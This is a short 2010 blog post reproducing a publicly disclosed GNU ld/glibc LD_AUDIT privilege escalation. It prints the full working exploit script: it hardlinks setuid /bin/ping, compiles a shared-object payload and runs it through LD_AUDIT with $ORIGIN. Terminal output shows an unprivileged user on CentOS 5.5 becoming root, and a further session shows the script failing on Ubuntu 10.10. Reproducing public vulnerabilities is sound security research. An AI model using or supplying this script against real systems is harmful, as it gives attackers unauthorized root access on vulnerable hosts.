Tuesday, October 19, 2010

GNU ld privilege escalation

Following this post in a full disclosure list, I know about the privilege escalation  in the GNU ld linker.

Some how, it seems to be RedHat centric or a didn't manage to make it work in Debian/Ubuntu.

This is the exploit being executed in an up to date Centos 5.5

bash-3.2$ ls
exploit  payload.c  test.sh
bash-3.2$ cat test.sh
rm -rf /tmp/exploit
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit/
gcc -w -fPIC -shared -o /tmp/exploit payload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=root:system_r:unconfined_t:SystemLow-SystemHigh
bash-3.2$ sh test.sh
[root@localhost tmp]# cat /etc/redhat-release
CentOS release 5.5 (Final)
[root@localhost tmp]# id
uid=0(root) gid=99(nobody) groups=99(nobody) context=root:system_r:unconfined_t:SystemLow-SystemHigh
[root@localhost tmp]#

It does  not seem to work in Ubuntu 10.10:

msk@ubuntu:/tmp$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
kernel.yama.protected_sticky_symlinks = 0
msk@ubuntu:/tmp$ sudo sysctl -w kernel.yama.protected_nonaccess_hardlinks=0
kernel.yama.protected_nonaccess_hardlinks = 0
msk@ubuntu:/tmp$ sh test.sh
Inconsistency detected by ld.so: dl-open.c: 232: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
msk@ubuntu:/tmp$




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